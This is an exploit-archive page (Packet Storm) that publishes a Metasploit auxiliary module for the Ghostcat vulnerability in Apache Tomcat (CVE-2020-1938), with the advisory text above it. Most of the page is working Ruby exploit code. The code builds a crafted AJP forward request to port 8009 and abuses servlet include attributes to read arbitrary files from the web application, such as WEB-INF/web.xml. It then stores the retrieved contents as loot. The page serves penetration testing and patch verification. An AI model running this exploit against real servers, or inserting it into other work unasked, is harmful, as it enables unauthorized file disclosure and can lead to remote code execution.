exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Apache Tomcat AJP File Read

Apache Tomcat AJP File Read
Posted Aug 31, 2024
Authored by SunCSR, A Security Researcher of Chaitin Tech | Site metasploit.com

When using the Apache JServ Protocol (AJP), care must be taken when trusting incoming connections to Apache Tomcat. Tomcat treats AJP connections as having higher trust than, for example, a similar HTTP connection. If such connections are available to an attacker, they can be exploited in ways that may be surprising. In Apache Tomcat 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99, Tomcat shipped with an AJP Connector enabled by default that listened on all configured IP addresses. It was expected (and recommended in the security guide) that this Connector would be disabled if not required. This vulnerability report identified a mechanism that allowed: - returning arbitrary files from anywhere in the web application - processing any file in the web application as a JSP. Further, if the web application allowed file upload and stored those files within the web application (or the attacker was able to control the content of the web application by some other means) then this, along with the ability to process a file as a JSP, made remote code execution possible. It is important to note that mitigation is only required if an AJP port is accessible to untrusted users. Users wishing to take a defence-in-depth approach and block the vector that permits returning arbitrary files and execution as JSP may upgrade to Apache Tomcat 9.0.31, 8.5.51 or 7.0.100 or later. A number of changes were made to the default AJP Connector configuration in 9.0.31 to harden the default configuration. It is likely that users upgrading to 9.0.31, 8.5.51 or 7.0.100 or later will need to make small changes to their configurations.

tags | exploit, remote, web, arbitrary, code execution, protocol, file upload
advisories | CVE-2020-1938
SHA-256 | f20ed46e990bc49e51e4df52537ec564d571907ef6c1bab6631f3044e0db35c8

Apache Tomcat AJP File Read

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/proto/apache_j_p'

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report

ApacheJP = Rex::Proto::ApacheJP

GhostCatResponse = Struct.new(:status, :headers, :body)

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Tomcat AJP File Read',
'Description' => %q{
When using the Apache JServ Protocol (AJP), care must be taken when trusting incoming connections to Apache
Tomcat. Tomcat treats AJP connections as having higher trust than, for example, a similar HTTP connection.
If such connections are available to an attacker, they can be exploited in ways that may be surprising.

In Apache Tomcat 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99, Tomcat shipped with an AJP
Connector enabled by default that listened on all configured IP addresses. It was expected (and recommended
in the security guide) that this Connector would be disabled if not required. This vulnerability report
identified a mechanism that allowed: - returning arbitrary files from anywhere in the web application -
processing any file in the web application as a JSP. Further, if the web application allowed file upload
and stored those files within the web application (or the attacker was able to control the content of the
web application by some other means) then this, along with the ability to process a file as a JSP, made
remote code execution possible.

It is important to note that mitigation is only required if an AJP port is accessible to untrusted users.
Users wishing to take a defence-in-depth approach and block the vector that permits returning arbitrary files
and execution as JSP may upgrade to Apache Tomcat 9.0.31, 8.5.51 or 7.0.100 or later. A number of changes were
made to the default AJP Connector configuration in 9.0.31 to harden the default configuration.
It is likely that users upgrading to 9.0.31, 8.5.51 or 7.0.100 or later will need to make small changes
to their configurations.
},
'Author' => [
'A Security Researcher of Chaitin Tech', # POC
'SunCSR Team' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2020-1938'],
['EDB', '48143'],
['URL', 'https://www.chaitin.cn/en/ghostcat']
],
'DisclosureDate' => '2020-02-20',
'Notes' => {
'AKA' => ['Ghostcat'],
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
}
)
)
register_options(
[
Opt::RPORT(8009, true, 'The Apache JServ Protocol (AJP) port'),
OptString.new('FILENAME', [true, 'File name', '/WEB-INF/web.xml'])
]
)
end

def send_recv_once(data)
buf = ''
begin
connect
sock.put(data)
buf = sock.get(30) || ''
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
elog('Error socket', error: e)
ensure
disconnect
end
buf
end

def parse_response(buf)
parsed_response = GhostCatResponse.new

until buf.empty?
chunk = buf[4...(4 + buf.unpack1('xxn'))]
buf = buf[(4 + chunk.length)...]

case chunk[0].ord
when ApacheJP::ApacheJPSendBodyChunk::PREFIX_CODE
send_body_chunk = ApacheJP::ApacheJPSendBodyChunk.read(chunk)
parsed_response.body = send_body_chunk.body_chunk.to_s
when ApacheJP::ApacheJPSendHeaders::PREFIX_CODE
send_headers = ApacheJP::ApacheJPSendHeaders.read(chunk)
parsed_response.status = send_headers.http_status_code.to_i
parsed_response.headers = send_headers.headers.snapshot.map { |header| [header.header_name.to_s, header.header_value.to_s] }.to_h
when ApacheJP::ApacheJPEndResponse::PREFIX_CODE
break
when ApacheJP::ApacheJPGetBodyChunk::PREFIX_CODE
next # no need to process this chunk
else
fail_with(Failure::UnexpectedReply, "Received unknown AJP prefix code: #{chunk[0].ord}")
end
end

parsed_response
end

def read_success?(ghost_cat_response)
ghost_cat_response.status == 200
end

def read_remote_file
ajp_forward_request = ApacheJP::ApacheJPForwardRequest.new(
http_method: ApacheJP::ApacheJPForwardRequest::HTTP_METHOD_GET,
req_uri: '/index.txt',
remote_addr: '127.0.0.1',
remote_host: 'localhost',
server_name: datastore['RHOST'].to_s,
headers: [
{ header_name: 'host', header_value: "#{datastore['RHOST']}:8080" }
],
attributes: [
{
code: ApacheJP::ApacheJPRequestAttribute::CODE_REQ_ATTRIBUTE,
attribute_name: 'javax.servlet.include.request_uri',
attribute_value: 'index'
},
{
code: ApacheJP::ApacheJPRequestAttribute::CODE_REQ_ATTRIBUTE,
attribute_name: 'javax.servlet.include.path_info',
attribute_value: datastore['FILENAME'].to_s
},
{
code: ApacheJP::ApacheJPRequestAttribute::CODE_REQ_ATTRIBUTE,
attribute_name: 'javax.servlet.include.servlet_path',
attribute_value: '/'
},
{ code: ApacheJP::ApacheJPRequestAttribute::CODE_TERMINATOR }
]
)

data = "\x12\x34" + [ ajp_forward_request.num_bytes ].pack('n') + ajp_forward_request.to_binary_s
parse_response(send_recv_once(data))
end

def check
ghost_cat_response = read_remote_file
if read_success?(ghost_cat_response)
return Exploit::CheckCode::Appears("Successfully read file #{datastore['FILENAME']}")
end

Exploit::CheckCode::Safe
rescue StandardError => e
Exploit::CheckCode::Unknown(e.message)
end

def run
ghost_cat_response = read_remote_file
print ghost_cat_response.body unless ghost_cat_response.body.blank?

unless read_success?(ghost_cat_response)
print_error 'Unable to read file, target may not be vulnerable.'
end

file = store_loot(
datastore['FILENAME'].to_s, 'text/plain', datastore['RHOST'].to_s,
ghost_cat_response.body, 'Ghostcat File Read/Inclusion', 'Read file', datastore['FILENAME']
)
print_good "File contents save to: #{file}"
end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close